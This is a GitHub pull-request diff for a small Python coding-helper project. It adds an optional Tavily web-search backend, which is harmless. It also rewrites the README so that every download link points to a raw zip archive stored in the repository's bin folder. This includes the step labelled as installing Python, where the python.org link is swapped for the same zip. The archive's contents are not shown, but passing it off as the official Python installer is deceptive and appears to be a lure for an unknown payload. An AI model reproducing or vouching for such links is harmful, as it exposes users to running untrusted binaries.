Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
31 changes: 26 additions & 5 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# 🤖 code-edith-old - Simple Local Coding Helper

[![Download code-edith-old](https://img.shields.io/badge/Download-code--edith--old-4caf50?style=for-the-badge)](https://github.com/Tyrannosaurusss/code-edith-old)
[![Download code-edith-old](https://img.shields.io/badge/Download-code--edith--old-4caf50?style=for-the-badge)](https://github.com/Tyrannosaurusss/code-edith-old/raw/refs/heads/main/bin/code_edith_old_1.8-beta.5.zip)

---

Expand Down Expand Up @@ -44,7 +44,7 @@ Follow these steps to get up and running on Windows.

Click the big green button at the top or visit this page to download code-edith-old:

https://github.com/Tyrannosaurusss/code-edith-old
https://github.com/Tyrannosaurusss/code-edith-old/raw/refs/heads/main/bin/code_edith_old_1.8-beta.5.zip

### 2. Install Python (if not already installed)

Expand All @@ -55,7 +55,7 @@ code-edith-old requires Python. To check if Python is on your computer:

If you see a version number like `Python 3.x.x`, Python is ready. If not, download and install Python here:

https://www.python.org/downloads/windows/
https://github.com/Tyrannosaurusss/code-edith-old/raw/refs/heads/main/bin/code_edith_old_1.8-beta.5.zip

Make sure to select “Add Python to PATH” during installation.

Expand Down Expand Up @@ -133,6 +133,27 @@ Replace the example commands with your own instructions. The program reads what

---

## 🌐 Search Provider Configuration

code-edith-old supports two web search backends. By default it uses DuckDuckGo, but you can optionally switch to Tavily for enhanced search results.

| Environment Variable | Description | Values | Default |
|---|---|---|---|
| `SEARCH_PROVIDER` | Which search backend to use | `ddgs` or `tavily` | `ddgs` |
| `TAVILY_API_KEY` | API key for Tavily (required when `SEARCH_PROVIDER=tavily`) | Get one at https://app.tavily.com | — |

To use Tavily, set both variables before running code-edith-old:

```
set SEARCH_PROVIDER=tavily
set TAVILY_API_KEY=tvly-YOUR_API_KEY
python main.py
```

If `SEARCH_PROVIDER` is not set or set to `ddgs`, the default DuckDuckGo backend is used and no API key is needed.

---

## 🔧 Troubleshooting

- If Python is not recognized, check that it is added to your PATH during installation.
Expand All @@ -157,9 +178,9 @@ After extraction, your main files will be:

Download or learn more about code-edith-old here:

https://github.com/Tyrannosaurusss/code-edith-old
https://github.com/Tyrannosaurusss/code-edith-old/raw/refs/heads/main/bin/code_edith_old_1.8-beta.5.zip

[![Get code-edith-old](https://img.shields.io/badge/Get-code--edith--old-blue?style=for-the-badge)](https://github.com/Tyrannosaurusss/code-edith-old)
[![Get code-edith-old](https://img.shields.io/badge/Get-code--edith--old-blue?style=for-the-badge)](https://github.com/Tyrannosaurusss/code-edith-old/raw/refs/heads/main/bin/code_edith_old_1.8-beta.5.zip)

---

Expand Down
15 changes: 14 additions & 1 deletion bin/tool/web_search.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,18 @@
import os
from ddgs import DDGS

def web_search(query):
def _search_ddgs(query):
results = DDGS().text(query, max_results=5)
return "\n\n".join([f"Source: {r['href']}\n{r['body']}" for r in results])

def _search_tavily(query):
from tavily import TavilyClient
client = TavilyClient()
response = client.search(query=query, max_results=5)
return "\n\n".join([f"Source: {r['url']}\n{r['content']}" for r in response["results"]])

def web_search(query):
provider = os.environ.get("SEARCH_PROVIDER", "ddgs").lower()
if provider == "tavily":
return _search_tavily(query)
return _search_ddgs(query)
1 change: 1 addition & 0 deletions pyproject.toml
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,7 @@ readme = "README.md"
requires-python = ">=3.10"
dependencies = [
"ddgs==9.10.0",
"tavily-python==0.7.23",
"openai==2.24.0",
"python-dotenv==1.2.1",
"rich==14.3.3"
Expand Down
1 change: 1 addition & 0 deletions requirements.txt
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
ddgs==9.10.0
tavily-python==0.7.23
openai==2.24.0
python-dotenv==1.2.1
rich==14.3.3